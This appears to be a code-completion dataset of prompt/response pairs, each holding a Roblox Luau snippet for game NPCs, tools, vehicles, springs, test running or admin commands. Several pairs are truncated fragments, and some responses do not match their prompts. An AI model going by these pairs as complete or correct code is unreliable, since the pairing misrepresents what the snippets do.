script.Parent.Enter.ClickDetector.MouseClick:connect(Enter)


Prompt: -- Gets the current size of the default Roblox chat on your device.

Response:
local chatWindowSize = StarterGui:GetCore("ChatWindowSize")

StarterGui:SetCore("ChatWindowPosition", UDim2.new(0, 0, (1 - chatWindowSize.Y.Scale), 0))


Prompt: --Shade Script

Response:
sp=script.Parent
lastattack=0
nextrandom=0
nextsound=0
nextjump=0
chasing=false

variance=2

damage=15
attackrange=15
sightrange=200
runspeed=15
wonderspeed=4
healthregen=false

function raycast(spos,vec,currentdist)
	local hit2,pos2=game.Workspace:FindPartOnRay(Ray.new(spos+(vec*.01),vec*currentdist),sp)
	if hit2~=nil and pos2 then
		if hit2.Transparency>=.8 or hit2.Name=="Handle" or string.sub(hit2.Name,1,6)=="Effect" then
			local currentdist=currentdist-(pos2-spos).magnitude
			return raycast(pos2,vec,currentdist)
		end
	end
	return hit2,pos2
end

function waitForChild(parent,childName)
	local child=parent:findFirstChild(childName)
	if child then return child end
	while true do
		child=parent.ChildAdded:wait()
		if child.Name==childName then return child end
	end
end


Prompt: --Made by Luckymaxer

Response:
Tool = script.Parent
Handle = Tool:WaitForChild("Handle")

Players = game:GetService("Players")
Debris = game:GetService("Debris")
UserInputService = game:GetService("UserInputService")

Folders = Tool:WaitForChild("Folders")
RemotesFolder = Folders:WaitForChild("Remotes")
ServerControl = RemotesFolder:WaitForChild("ServerControl")
ClientControl = RemotesFolder:WaitForChild("ClientControl")

Animations = {}

ToolEquipped = false

function SetAnimation(mode, value)
	if mode == "PlayAnimation" and value and ToolEquipped and Humanoid then
		for i, v in pairs(Animations) do
			if v.Animation == value.Animation then
				v.AnimationTrack:Stop()
				table.remove(Animations, i)
			end
		end
		local AnimationTrack = Humanoid:LoadAnimation(value.Animation)
		table.insert(Animations, {Animation = value.Animation, AnimationTrack = AnimationTrack})
		AnimationTrack:Play(value.FadeTime, value.Weight, value.Speed)
	elseif mode == "StopAnimation" and value then
		for i, v in pairs(Animations) do
			if v.Animation == value.Animation then
				v.AnimationTrack:Stop()
				table.remove(Animations, i)
			end
		end
	end
end

function CheckIfAlive()
	return (((Character and Character.Parent and Humanoid and Humanoid.Parent and Humanoid.Health > 0 and Player and Player.Parent) and true) or false)
end

function Equipped(Mouse)
	Character = Tool.Parent
	Player = Players:GetPlayerFromCharacter(Character)
	Humanoid = Character:FindFirstChild("Humanoid")
	ToolEquipped = true
	if not CheckIfAlive() then
		return
	end
	PlayerMouse = Mouse
	Mouse.Button1Down:connect(function()
		InvokeServer("MouseClick", {Down = true})
	end)
	Mouse.Button1Up:connect(function()
		InvokeServer("MouseClick", {Down = false})
	end)
	for i, v in pairs({KeyDown, KeyUp}) do
		if v then
			v:disconnect()
		end
	end
	KeyDown = UserInputService.InputBegan:connect(function(InputObject)
		local InputType = InputObject.UserInputType
		local KeyCode = InputObject.KeyCode
		if InputType == Enum.UserInputType.Keyboard then
			InvokeServer("KeyPressed", {Key = KeyCode.Name, Down = true})
		end
	end)
	KeyUp = UserInputService.InputEnded:connect(function(InputObject)
		local InputType = InputObject.UserInputType
		local KeyCode = InputObject.KeyCode
		if InputType == Enum.UserInputType.Keyboard then
			InvokeServer("KeyPressed", {Key = KeyCode.Name, Down = false})
		end
	end)
end

function Unequipped()
	for i, v in pairs({KeyDown, KeyUp}) do
		if v then
			v:disconnect()
		end
	end
	for i, v in pairs(Animations) do
		if v and v.AnimationTrack then
			v.AnimationTrack:Stop()
		end
	end
	Animations = {}
	ToolEquipped = false
end

function InvokeServer(mode, value)
	local ServerReturn
	pcall(function()
		ServerReturn = ServerControl:InvokeServer(mode, value)
	end)
	return ServerReturn
end

function OnClientInvoke(mode, value)
	if mode == "PlayAnimation" and value and ToolEquipped and Humanoid then
		SetAnimation("PlayAnimation", value)
	elseif mode == "StopAnimation" and value then
		SetAnimation("StopAnimation", value)
	elseif mode == "PlaySound" and value then
		value:Play()
	elseif mode == "StopSound" and value then
		value:Stop()
	elseif mode == "MousePosition" then
		return ((PlayerMouse and {Position = PlayerMouse.Hit.p, Target = PlayerMouse.Target}) or nil)
	end
end

ClientControl.OnClientInvoke = OnClientInvoke

Tool.Equipped:connect(Equipped)
Tool.Unequipped:connect(Unequipped)


Prompt: -- util

Response:
function waitForChild(parent, childName)
	while true do
		local child = parent:findFirstChild(childName)
		if child then
			return child
		end
		parent.ChildAdded:wait()
	end
end

function newSound(id)
	local sound = Instance.new("Sound")
	sound.SoundId = id
	sound.Parent = script.Parent.Head
	return sound
end


Prompt: --Put the objects you want regenned in the model, if the object's parent is changed it will not be deleted when the button is pushed again.

Response:
debounce = false
regen = {}
last = {}
for a,b in ipairs(script.Parent.Parent:GetChildren()) do
if b ~= script.Parent then
table.insert(regen,b:clone())
table.insert(last,b)
end end
script.Parent.Touched:connect(function(hit)
if hit.Parent ~= nil then
if game.Players:playerFromCharacter(hit.Parent) ~= nil and debounce == false then
debounce = true
for a,b in ipairs(last) do
if b.Parent == script.Parent.Parent then
end end
last = {}
for a,b in ipairs(regen) do
local c = b:clone()
table.insert(last,c)
c.Parent = script.Parent.Parent
pcall(function() c:MakeJoints() end)
end
script.Parent.BrickColor = BrickColor.new(26)
wait(2)
script.Parent.BrickColor = BrickColor.new(104)
debounce = false
end end end)


Response:
task.wait()
end


Prompt:
--[=[
	Gets a signal that will fire when the Brio dies. If the brio is already dead
	calling this method will error.

	:::info
	Calling this while the brio is already dead will throw a error.
	:::

	```lua
	local brio = Brio.new("a", "b")
	brio:GetDiedSignal():Connect(function()
		print("Brio died")
	end)

	brio:Kill() --> Brio died
	brio:Kill() -- no output
	```

	@return Signal
]=]

Response:
function Brio:GetDiedSignal()
	if self:IsDead() then
		error("Brio is dead")
	end

	if self._diedEvent then
		return self._diedEvent.Event
	end

	self._diedEvent = Instance.new("BindableEvent")
	return self._diedEvent.Event
end


Prompt: --------RIGHT DOOR --------

Response:
game.Workspace.doorright.l11.BrickColor = BrickColor.new(1013)
game.Workspace.doorright.l23.BrickColor = BrickColor.new(1013)
game.Workspace.doorright.l32.BrickColor = BrickColor.new(1013)
game.Workspace.doorright.l41.BrickColor = BrickColor.new(1013)
game.Workspace.doorright.l53.BrickColor = BrickColor.new(1013)
game.Workspace.doorright.l62.BrickColor = BrickColor.new(1013)
game.Workspace.doorright.l71.BrickColor = BrickColor.new(1013)

game.Workspace.doorright.l12.BrickColor = BrickColor.new(1023)
game.Workspace.doorright.l21.BrickColor = BrickColor.new(1023)
game.Workspace.doorright.l33.BrickColor = BrickColor.new(1023)
game.Workspace.doorright.l42.BrickColor = BrickColor.new(1023)
game.Workspace.doorright.l51.BrickColor = BrickColor.new(1023)
game.Workspace.doorright.l63.BrickColor = BrickColor.new(1023)
game.Workspace.doorright.l72.BrickColor = BrickColor.new(1023)

game.Workspace.doorright.l13.BrickColor = BrickColor.new(106)
game.Workspace.doorright.l22.BrickColor = BrickColor.new(106)
game.Workspace.doorright.l31.BrickColor = BrickColor.new(106)
game.Workspace.doorright.l43.BrickColor = BrickColor.new(106)
game.Workspace.doorright.l52.BrickColor = BrickColor.new(106)
game.Workspace.doorright.l61.BrickColor = BrickColor.new(106)
game.Workspace.doorright.l73.BrickColor = BrickColor.new(106)

game.Workspace.doorright.pillar.BrickColor = BrickColor.new(game.Workspace.Lighting.cyan.Value)


Prompt: -- declarations

Response:
local sDied = newSound("rbxasset://sounds/uuhhh.wav")
local sFallingDown = newSound("rbxasset://sounds/splat.wav")
local sFreeFalling = newSound("rbxasset://sounds/swoosh.wav")
local sGettingUp = newSound("rbxasset://sounds/hit.wav")
local sJumping = newSound("rbxasset://sounds/button.wav")
local sRunning = newSound("rbxasset://sounds/bfsl-minifigfoots1.mp3")
sRunning.Looped = true


Prompt:
--[[
	Package link auto-generated by Rotriever
]]

Response:
local PackageIndex = script.Parent.Parent.Parent._Index

local Package = require(PackageIndex["DiffSequences"]["DiffSequences"])

export type Callbacks = Package.Callbacks

return Package


Prompt: -- SOULDRAGON'S INSANAQUARIUM DEADFISH SCRIPT

Response:
h = script.Parent.Parent.Humanoid
while true do
	if h.Health < 1 then
	script.Parent.Parent.Name = "Goodbye"
	script.Parent.BrickColor = BrickColor.new(26)
	script.Parent.Transparency = 0.5
	script.Parent.Anchored = true
	end
wait(1)
end


Prompt:
-- Made by Freakinve
-- 12/23/20

Response:
local dayOutdoorAmbient = Color3.fromRGB(128, 128, 128)
local nightOutdoorAmbient = Color3.fromRGB(0, 0, 0)

local dayAmbient = Color3.fromRGB(128, 128, 128)
local nightAmbient = Color3.fromRGB(0, 0, 0)


Prompt: -- The script below is to put the screen gui to the player gui (in case you forgot to put this screen gui into starter gui)

Response:
local item_buyer = script.Parent

game.Players.PlayerAdded:Connect(function(plr)
	item_buyer.Parent = plr:WaitForChild("PlayerGui")
end)


Prompt:
------------------------------------------------------------------------------
--------------------[ MAIN PROGRAM ]------------------------------------------
------------------------------------------------------------------------------

Response:
while true do
	if (not Main:IsDescendantOf(game))
	or (Main.Parent.Name == "Knife" and FindFirstClass(Main, "Weld"))
	or Main.Anchored then
		break
	end

	if S.GrenadeTrail and S.GrenadeTransparency ~= 1
	and S.GrenadeTrailThickness ~= 0 and S.GrenadeTrailVisibleTime ~= 0 then
		local Trail = Instance.new("Part")
		Trail.BrickColor = S.GrenadeTrailColor
		Trail.Transparency = S.GrenadeTrailTransparency
		Trail.Anchored = true
		Trail.CanCollide = false
		Trail.Size = VEC3(1, 1, 1)
		local Mesh = Instance.new("BlockMesh")
		Mesh.Offset = VEC3(0, 0, -(Main.Position - LastPos).magnitude / 2)
		Mesh.Scale = VEC3(S.GrenadeTrailThickness, S.GrenadeTrailThickness, (Main.Position - LastPos).magnitude)
		Mesh.Parent = Trail
		Trail.Parent = Main.Parent
		Trail.CFrame = CF(LastPos, Main.Position)
		delay(S.GrenadeTrailVisibleTime, function()
			if S.GrenadeTrailDisappearTime > 0 then
				local X = 0
				while true do
					if X == 90 then break end
					local NewX = X + (3 / S.GrenadeTrailDisappearTime)
					X = (NewX > 90 and 90 or NewX)
					local Alpha = X / 90
					Trail.Transparency = NumLerp(S.GrenadeTrailTransparency, 1, Alpha)
					wait()
				end
				Trail:Destroy()
			else
				Trail:Destroy()
			end
		end)
		LastPos = Main.Position
	end

	wait()
end

if (not Main:IsDescendantOf(game)) then
	Grenade:Destroy()
end


Prompt: -- LOCAL FUNCTIONS

Response:
local function checkTopbarEnabled()
	local success, bool = xpcall(function()
		return starterGui:GetCore("TopbarEnabled")
	end,function(err)
		--has not been registered yet, but default is that is enabled
		return true
	end)
	return (success and bool)
end

local function checkTopbarEnabledAccountingForMimic()
	local topbarEnabledAccountingForMimic = (checkTopbarEnabled() or not IconController.mimicCoreGui)
	return topbarEnabledAccountingForMimic
end


Prompt: ---Steering

Response:
function Steering()
	if _MSteer then
		local mST = ((mouse.X-mouse.ViewSizeX/2)/_Tune.MSteerWidth)
		if math.abs(mST)<=_Tune.MSteerDZone then
			_GSteerT = 0
		else
			_GSteerT = (math.max(math.min((math.abs(mST)-_Tune.MSteerDZone),(1-_Tune.MSteerDZone)),0)/(1-_Tune.MSteerDZone))^_Tune.MSteerExp * (mST / math.abs(mST))
		end
	end
	if _GSteerC < _GSteerT then
		_GSteerC = math.min(_GSteerT,_GSteerC+_Tune.SteerSpeed)
	else
		_GSteerC = math.max(_GSteerT,_GSteerC-_Tune.SteerSpeed)
	end
	local sDecay = (1-math.min(car.DriveSeat.Velocity.Magnitude/_Tune.SteerDecay,1-_Tune.MinSteer))
	if car.Wheels:FindFirstChild("FL")~= nil then
		if _GSteerC>= 0 then
			car.Wheels.FL.Arm.Steer.cframe=car.Wheels.FL.Base.CFrame*CFrame.Angles(0,-math.rad(_GSteerC*_Tune.SteerOuter*sDecay),0)
		else
			car.Wheels.FL.Arm.Steer.cframe=car.Wheels.FL.Base.CFrame*CFrame.Angles(0,-math.rad(_GSteerC*_Tune.SteerInner*sDecay),0)
		end
	end
	if car.Wheels:FindFirstChild("FR")~= nil then
		if _GSteerC>= 0 then
			car.Wheels.FR.Arm.Steer.cframe=car.Wheels.FR.Base.CFrame*CFrame.Angles(0,-math.rad(_GSteerC*_Tune.SteerInner*sDecay),0)
		else
			car.Wheels.FR.Arm.Steer.cframe=car.Wheels.FR.Base.CFrame*CFrame.Angles(0,-math.rad(_GSteerC*_Tune.SteerOuter*sDecay),0)
		end
	end
end


Response:
	 TeamKill = true					--- Enable TeamKill?
	,TeamDamageMultiplier = 1			--- Between 0-1 | This will make you cause less damage if you hit your teammate

	,ReplicatedBullets = true			--- Keep in mind that some bullets will pass through surfaces...

	,AntiBunnyHop = true				--- Enable anti bunny hop system?
	,JumpCoolDown = 3					--- Seconds before you can jump again
	,JumpPower = 50						--- Jump power, default is 50

	,RealisticLaser = true				--- True = Laser line is invisible
	,ReplicatedLaser = true
	,ReplicatedFlashlight = true

	,EnableRagdoll = true				--- Enable ragdoll death?
	,TeamTags = true					--- Aaaaaaa
	,HitmarkerSound = false				--- GGWP MLG 360 NO SCOPE xD


Prompt:
--- Skip forwards in now
-- @param delta now to skip forwards

Response:
function Spring:TimeSkip(delta)
	local now = tick()
	local position, velocity = self:_positionVelocity(now+delta)
	self._position0 = position
	self._velocity0 = velocity
	self._time0 = now
end

function Spring:__index(index)
	if Spring[index] then
		return Spring[index]
	elseif index == "Value" or index == "Position" or index == "p" then
		local position, _ = self:_positionVelocity(tick())
		return position
	elseif index == "Velocity" or index == "v" then
		local _, velocity = self:_positionVelocity(tick())
		return velocity
	elseif index == "Target" or index == "t" then
		return self._target
	elseif index == "Damper" or index == "d" then
		return self._damper
	elseif index == "Speed" or index == "s" then
		return self._speed
	else
		error(("%q is not a valid member of Spring"):format(tostring(index)), 2)
	end
end

function Spring:__newindex(index, value)
	local now = tick()

	if index == "Value" or index == "Position" or index == "p" then
		local _, velocity = self:_positionVelocity(now)
		self._position0 = value
		self._velocity0 = velocity
	elseif index == "Velocity" or index == "v" then
		local position, _ = self:_positionVelocity(now)
		self._position0 = position
		self._velocity0 = value
	elseif index == "Target" or index == "t" then
		local position, velocity = self:_positionVelocity(now)
		self._position0 = position
		self._velocity0 = velocity
		self._target = value
	elseif index == "Damper" or index == "d" then
		local position, velocity = self:_positionVelocity(now)
		self._position0 = position
		self._velocity0 = velocity
		self._damper = math.clamp(value, 0, 1)
	elseif index == "Speed" or index == "s" then
		local position, velocity = self:_positionVelocity(now)
		self._position0 = position
		self._velocity0 = velocity
		self._speed = value < 0 and 0 or value
	else
		error(("%q is not a valid member of Spring"):format(tostring(index)), 2)
	end

	self._time0 = now
end

function Spring:_positionVelocity(now)
	local p0 = self._position0
	local v0 = self._velocity0
	local p1 = self._target
	local d = self._damper
	local s = self._speed

	local t = s*(now - self._time0)
	local d2 = d*d

	local h, si, co
	if d2 < 1 then
		h = math.sqrt(1 - d2)
		local ep = math.exp(-d*t)/h
		co, si = ep*math.cos(h*t), ep*math.sin(h*t)
	elseif d2 == 1 then
		h = 1
		local ep = math.exp(-d*t)/h
		co, si = ep, ep*t
	else
		h = math.sqrt(d2 - 1)
		local u = math.exp((-d + h)*t)/(2*h)
		local v = math.exp((-d - h)*t)/(2*h)
		co, si = u + v, u - v
	end

	local a0 = h*co + d*si
	local a1 = 1 - (h*co + d*si)
	local a2 = si/s

	local b0 = -s*si
	local b1 = s*si
	local b2 = h*co - d*si

	return
		a0*p0 + a1*p1 + a2*v0,
	b0*p0 + b1*p1 + b2*v0
end

return Spring


Prompt: --// F key, Horn

Response:
mouse.KeyUp:connect(function(key)
	if key=="f" then
		script.Parent.Parent.Horn.TextTransparency = 0.8
		veh.Lightbar.middle.Airhorn:Stop()
		veh.Lightbar.middle.Wail.Volume = 1
		veh.Lightbar.middle.Yelp.Volume = 1
		veh.Lightbar.middle.Priority.Volume = 1
		script.Parent.Parent.MBOV.Visible = true
			script.Parent.Parent.MBOV.Text = "Made by OfficerVargas"
	end
end)

mouse.KeyDown:connect(function(key)
	if key=="j" then
		veh.Lightbar.middle.Beep:Play()
		if On3 then On3=false else
			On3=true
			while On3 do
			script.Parent.Parent.Lights.TextTransparency = 0
			 veh.Lightbar.on.Value = true
			script.Parent.Parent.MBOV.Visible = true
			script.Parent.Parent.MBOV.Text = "Made by OfficerVargas"
			wait(0.01)
			veh.Lightbar.on.Value = false
			script.Parent.Parent.Lights.TextTransparency = 0.8
			script.Parent.Parent.MBOV.Visible = true
			script.Parent.Parent.MBOV.Text = "Made by OfficerVargas"
		end
		end
	end
end)

mouse.KeyDown:connect(function(key)
	if key=="k" then
		veh.Lightbar.middle.Beep:Play()
		if On2 then On2=false else
			On2=true
			while On2 do
			script.Parent.Parent.TD.TextTransparency = 0
			 veh.Takedown.on.Value = true
			script.Parent.Parent.MBOV.Visible = true
			script.Parent.Parent.MBOV.Text = "Made by OfficerVargas"
			wait(0.01)
			veh.Takedown.on.Value = false
			script.Parent.Parent.TD.TextTransparency = 0.8
			script.Parent.Parent.MBOV.Visible = true
			script.Parent.Parent.MBOV.Text = "Made by OfficerVargas"
		end
		end
	end
end)


Prompt:
--// Hash: c99d8d3f6918230ee9fd250b85efbd7b960723d8cb9e3c5a023095d441bc7c42774ba920206560321de3df3240be618c
-- Decompiled with the Synapse X Luau decompiler.

Response:
local v1 = {};
local l__LocalPlayer__2 = game.Players.LocalPlayer;
local v3 = require(game:GetService("ReplicatedStorage"):WaitForChild("ReplicaDataModule"));
print(v3.data);
return v3.data;


Prompt:
-- Invisicam Version 2.5 (Occlusion Series)
-- For the latest standalone version see id=183837794
-- OnlyTwentyCharacters

Response: local Invisicam = {}


Prompt: --[[Wheel Stabilizer Gyro]]

Response:
--
	Tune.FGyroDamp = 100			-- Front Wheel Non-Axial Dampening
	Tune.RGyroDamp = 100			-- Rear Wheel Non-Axial Dampening


Prompt: -- the number equals the walkspeed. start is starting walkspeed(if you want to boost it) and the others are for the speed increase stages

Response:
start = 16
stage1 = 20
stage2 = 25
stage3 = 30
stage4 = 35
stage5 = 40
stage6 = 50


Response:
end
script.Parent.ClickDetector.MouseClick:connect(onClicked)


Prompt:
--for _, item in ipairs(Shield:GetChildren()) do
--	if item:IsA("BasePart") == true and item:FindFirstChild("Ignore") == nil then
--		item.Touched:connect(function(Hit)
--			if Hit == nil then return end
--			if Hit.Parent == nil then return end
--
--			local Item = Hit.Parent
--
--			if Item:IsA("Tool") == true then return end
--			if Hit.Name == "Torso" then return end
--			if Hit.Name == "HumanoidRootPart" then return end
--			if Hit.Name == "Left Leg" then return end
--			if Hit.Name == "Right Leg" then return end
--			if Hit.Name == "Head" then return end
--			if Hit.Name == "Left Arm" then return end
--			if Hit.Name == "Right Arm" then return end
--
--			if Game:GetService("Players"):GetPlayerFromCharacter(Item) ~= nil then return end
--
--			for _, x in ipairs(Hit:GetChildren()) do
--				if x:IsA("TouchTransmitter") == true then x:Destroy() break end
--			end
--
--			if Item.Name == "ShadowGrab" then
--				Health = Health + (MaxHealth / 12)
--
--				HealthBar.Shield.Bar:TweenSize(UDim2.new((Health / MaxHealth), 0, 1, 0), Enum.EasingDirection.In, Enum.EasingStyle.Linear, 0.5, true)
--
--				Item:Destroy()
--
--				if Health < MaxHealth then
--					-- yay, still alive.
--				else
--					HealthBar.Parent.Parent:Destroy()
--				end
--			end
--		end)
--	end
--end

Response:
function CreateRegion3FromLocAndSize(Position, Size)
	local SizeOffset = Size / 2
	local Point1 = Position - SizeOffset
	local Point2 = Position + SizeOffset
	return Region3.new(Point1, Point2)
end

function FindNear(part, radius)
	local r = CreateRegion3FromLocAndSize(part.Position, Vector3.new(part.Size.X + radius, 50, part.Size.Z + radius))

	return Game:GetService("Workspace"):FindPartsInRegion3(r, part, 100)
end

while true do
	for _, x in ipairs(Shield:GetChildren()) do
		if x:IsA("BasePart") == true and x.Name ~= "Overhead" and x:FindFirstChild("Ignore") == nil then
			for _, item in ipairs(FindNear(x, 15)) do
				if item:IsA("BasePart") == true and item:FindFirstChild("Pierce") == nil then
					local own, dmg = GetOwnerAndDamage(item)

					if own ~= nil and dmg ~= nil then
						if (item.Position - x.Position).magnitude <= 10 and item ~= x then
							if Health < MaxHealth then

								if (Health + dmg) <= MaxHealth then
									Health = Health + dmg

									HealthBar.Shield.Bar:TweenSize(UDim2.new((Health / MaxHealth), 0, 1, 0), Enum.EasingDirection.In, Enum.EasingStyle.Linear, 0.5, true)

									for _, b in ipairs(item:GetChildren()) do
										if b:IsA("TouchTransmitter") == true then b:Destroy() end
									end

									item:Destroy()

									if Health < MaxHealth then
										-- yay, still alive.
									else
										HealthBar.Parent.Parent:Destroy()
									end
								else
									HealthBar.Parent.Parent:Destroy()
								end
							else
								HealthBar.Parent.Parent:Destroy()
							end
						end
					end
				end
			end

		end
	end

	Game:GetService("RunService").Stepped:wait()
end


Prompt:
--[[
	Run the given test plan node and its descendants, using the given test
	session to store all of the results.
]]

Response:
function TestRunner.runPlanNode(session, planNode, lifecycleHooks)
	local function runCallback(callback, messagePrefix)
		local success = true
		local errorMessage
		-- Any code can check RUNNING_GLOBAL to fork behavior based on
		-- whether a test is running. We use this to avoid accessing
		-- protected APIs; it's a workaround that will go away someday.
		_G[RUNNING_GLOBAL] = true

		messagePrefix = messagePrefix or ""

		local testEnvironment = getfenv(callback)

		for key, value in pairs(TestRunner.environment) do
			testEnvironment[key] = value
		end

		testEnvironment.fail = function(message)
			if message == nil then
				message = "fail() was called."
			end

			success = false
			errorMessage = messagePrefix .. debug.traceback(tostring(message), 2)
		end

		testEnvironment.expect = wrapExpectContextWithPublicApi(session:getExpectationContext())

		local context = session:getContext()

		local nodeSuccess, nodeResult = xpcall(
			function()
				callback(context)
			end,
			function(message)
				return messagePrefix .. debug.traceback(tostring(message), 2)
			end
		)

		-- If a node threw an error, we prefer to use that message over
		-- one created by fail() if it was set.
		if not nodeSuccess then
			success = false
			errorMessage = nodeResult
		end

		_G[RUNNING_GLOBAL] = nil

		return success, errorMessage
	end

	local function runNode(childPlanNode)
		-- Errors can be set either via `error` propagating upwards or
		-- by a test calling fail([message]).

		for _, hook in ipairs(lifecycleHooks:getBeforeEachHooks()) do
			local success, errorMessage = runCallback(hook, "beforeEach hook: ")
			if not success then
				return false, errorMessage
			end
		end

		local testSuccess, testErrorMessage = runCallback(childPlanNode.callback)

		for _, hook in ipairs(lifecycleHooks:getAfterEachHooks()) do
			local success, errorMessage = runCallback(hook, "afterEach hook: ")
			if not success then
				if not testSuccess then
					return false, testErrorMessage .. "\nWhile cleaning up the failed test another error was found:\n" .. errorMessage
				end
				return false, errorMessage
			end
		end

		if not testSuccess then
			return false, testErrorMessage
		end

		return true, nil
	end

	lifecycleHooks:pushHooksFrom(planNode)

	local halt = false
	for _, hook in ipairs(lifecycleHooks:getBeforeAllHooks()) do
		local success, errorMessage = runCallback(hook, "beforeAll hook: ")
		if not success then
			session:addDummyError("beforeAll", errorMessage)
			halt = true
		end
	end

	if not halt then
		for _, childPlanNode in ipairs(planNode.children) do
			if childPlanNode.type == TestEnum.NodeType.It then
				session:pushNode(childPlanNode)
				if session:shouldSkip() then
					session:setSkipped()
				else
					local success, errorMessage = runNode(childPlanNode)

					if success then
						session:setSuccess()
					else
						session:setError(errorMessage)
					end
				end
				session:popNode()
			elseif childPlanNode.type == TestEnum.NodeType.Describe then
				session:pushNode(childPlanNode)
				TestRunner.runPlanNode(session, childPlanNode, lifecycleHooks)

				-- Did we have an error trying build a test plan?
				if childPlanNode.loadError then
					local message = "Error during planning: " .. childPlanNode.loadError
					session:setError(message)
				else
					session:setStatusFromChildren()
				end
				session:popNode()
			end
		end
	end

	for _, hook in ipairs(lifecycleHooks:getAfterAllHooks()) do
		local success, errorMessage = runCallback(hook, "afterAll hook: ")
		if not success then
			session:addDummyError("afterAll", errorMessage)
		end
	end

	lifecycleHooks:popHooks()
end

return TestRunner


Prompt:
--[=[
	@within TableUtil
	@function Reverse
	@param tbl table
	@return table

	Reverses the array.

	```lua
	local t = {1, 5, 10}
	local tReverse = TableUtil.Reverse(t)
	print(tReverse) --> {10, 5, 1}
	```

	:::note Arrays only
	This function works on arrays, but not dictionaries.
]=]

Response:
local function Reverse(tbl: Table): Table
	local n = #tbl
	local tblRev = table.create(n)
	for i = 1,n do
		tblRev[i] = tbl[n - i + 1]
	end
	return tblRev
end


Prompt: -- Enable tool or plugin

Response:
if Mode == 'Plugin' then

	-- Set the UI root
	UIContainer = CoreGui;

	-- Create the toolbar button
	PluginButton = Plugin:CreateToolbar('Building Tools by F3X'):CreateButton(
		'Building Tools by F3X',
		'Building Tools by F3X',
		Assets.PluginIcon
	);

	-- Connect the button to the system
	PluginButton.Click:Connect(function ()
		PluginEnabled = not PluginEnabled;
		PluginButton:SetActive(PluginEnabled);

		-- Toggle the tool
		if PluginEnabled then
			Plugin:Activate(true);
			Enable(Plugin:GetMouse());
		else
			Disable();
		end;
	end);

	-- Disable the tool upon plugin deactivation
	Plugin.Deactivation:Connect(Disable);

	-- Sync Studio selection to internal selection
	Selection.Changed:Connect(function ()
		SelectionService:Set(Selection.Items);
	end);

	-- Sync internal selection to Studio selection on enabling
	Enabling:Connect(function ()
		Selection.Replace(SelectionService:Get());
	end);

	-- Roughly sync Studio history to internal history (API lacking necessary functionality)
	History.Changed:Connect(function ()
		ChangeHistoryService:SetWaypoint 'Building Tools by F3X';
	end);

	-- Add plugin action for toggling tool
	local ToggleAction = Plugin:CreatePluginAction(
		'F3X/ToggleBuildingTools',
		'Toggle Building Tools',
		'Toggles the Building Tools by F3X plugin.',
		Assets.PluginIcon,
		true
	)
	ToggleAction.Triggered:Connect(function ()
		PluginEnabled = not PluginEnabled
		PluginButton:SetActive(PluginEnabled)

		-- Toggle the tool
		if PluginEnabled then
			Plugin:Activate(true)
			Enable(Plugin:GetMouse())
		else
			Disable()
		end
	end)

elseif Mode == 'Tool' then

	-- Set the UI root
	UIContainer = Player:WaitForChild 'PlayerGui';

	-- Connect the tool to the system
	Tool.Equipped:Connect(Enable);
	Tool.Unequipped:Connect(Disable);

	-- Disable the tool if not parented
	if not Tool.Parent then
		Disable();
	end;

	-- Disable the tool automatically if not equipped or in backpack
	Tool.AncestryChanged:Connect(function (Item, Parent)
		if not Parent or not (Parent:IsA 'Backpack' or (Parent:IsA 'Model' and Players:GetPlayerFromCharacter(Parent))) then
			Disable();
		end;
	end);

end;


Prompt:
--[[
	Fired when Warmup is entered, throwing out a player state update, as well as transitioning the player state
]]

Response:
function Transitions.onEnterWarmup(stateMachine, event, from, to, playerComponent)
	Logger.trace(playerComponent.player.Name, " state change: ", from, " -> ", to)
	playerComponent:updateStatus("currentState", to)
	PlayerWarmup.enter(stateMachine, playerComponent)
end


Prompt: -- << FUNCTIONS >>

Response:
function module:Process(commandArgsReal, args, commandPrefix, commandName, speaker, speakerData, originalMessage, originalAlias, batches, batchPos)
	local argsToReturn = {}
	local commandArgs = {}
	local UP = false
	local forceExit = false
	if commandPrefix == main.settings.UniversalPrefix then
		UP = true
	end
	for i,v in pairs(commandArgsReal) do
		if i ~= 1 or v ~= "player" or not UP then
			table.insert(commandArgs, v)
		end
	end
	for i,v in pairs(commandArgs) do
		local argToProcess = args[i]

		if v == "rank" then
			local finalRankId = 6 -- Any rank higher than 5 will not be given
			if argToProcess ~= nil then
				for _, rankDetails in pairs(main.settings.Ranks) do
					local rankId = rankDetails[1]
					local rankName = rankDetails[2]
					if string.lower(rankName) == argToProcess then
						finalRankId = rankId
						break
					end
				end
				if finalRankId == 6 then
					for _, rankDetails in pairs(main.settings.Ranks) do
						local rankId = rankDetails[1]
						local rankName = rankDetails[2]
						if string.sub(string.lower(rankName),1,#argToProcess) == argToProcess then
							finalRankId = rankId
							break
						end
					end
				end
			end
			argToProcess = finalRankId

		elseif v == "colour" or v == "color" or v == "color3" then
			local finalColor
			if argToProcess ~= nil then
				local rgb = {}
				argToProcess:gsub("([^,]+)",function(c) table.insert(rgb, tonumber(c)) end);
				if #rgb == 3 then
					finalColor = Color3.fromRGB(rgb[1], rgb[2], rgb[3])
				else
					finalColor = main:GetModule("cf"):GetColorFromString(argToProcess)
				end
			end
			if not finalColor then
				if commandName == "laserEyes" then
					finalColor = speakerData.LaserColor
				else
					finalColor = Color3.fromRGB(255,255,255)
				end
			end
			argToProcess = finalColor

		elseif v == "number" or v == "integer" or v == "studs" or v == "speed" or v == "intensity" then
			argToProcess = tonumber(argToProcess) or 0
			local limitDetails = main.settings.CommandLimits[commandName]
			if limitDetails then
				local limit = limitDetails.Limit
				local ingoreRank = limitDetails.IgnoreLimit
				if argToProcess > limit and speakerData.Rank < ingoreRank then
					local rankName = main:GetModule("cf"):GetRankName(ingoreRank)
					main:GetModule("cf"):FormatAndFireError(speaker, "CommandLimit", v, limit, rankName)
					forceExit = true
				end
			end

		elseif v == "boolean" then
			argToProcess = ((argToProcess == "on" or argToProcess == "true") and true) or false

		elseif v == "value" then
			local number = tonumber(argToProcess)
			if number then
				argToProcess = number
			end

		elseif v == "stat" or v == "statname" then
			local finalStatName = ""
			local leaderstats = speaker:FindFirstChild("leaderstats")
			if leaderstats then
				for _,stat in pairs(leaderstats:GetChildren()) do
					local statName = string.lower(stat.Name)
					if string.sub(statName, 1, #argToProcess) == argToProcess then
						finalStatName = stat.Name
						break
					end
				end
			end
			argToProcess = finalStatName

		elseif v == "scale" then
			argToProcess = tonumber(argToProcess) or 1
			local scaleLimit = main.settings.ScaleLimit
			local ignoreRank = main.settings.IgnoreScaleLimit
			if argToProcess > scaleLimit and speakerData.Rank < ignoreRank then
				local rankName = main:GetModule("cf"):GetRankName(ignoreRank)
				main:GetModule("cf"):FormatAndFireError(speaker, "ScaleLimit", scaleLimit, rankName)
				forceExit = true
			elseif argToProcess > 50 then
				argToProcess = 100
			end
			--

